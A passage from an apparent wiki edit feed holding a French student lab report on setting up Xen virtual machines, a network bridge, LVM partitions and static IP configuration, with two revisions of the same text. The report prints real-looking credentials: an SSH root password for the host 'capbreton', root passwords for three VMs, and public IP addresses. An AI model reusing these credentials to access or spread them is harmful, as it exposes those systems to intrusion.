    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.177/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11361</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11361"/>
		<updated>2026-01-26T07:40:06Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Nos résultats : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.177/24&lt;br /&gt;
        gateway 193.48.57.161&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
</feed>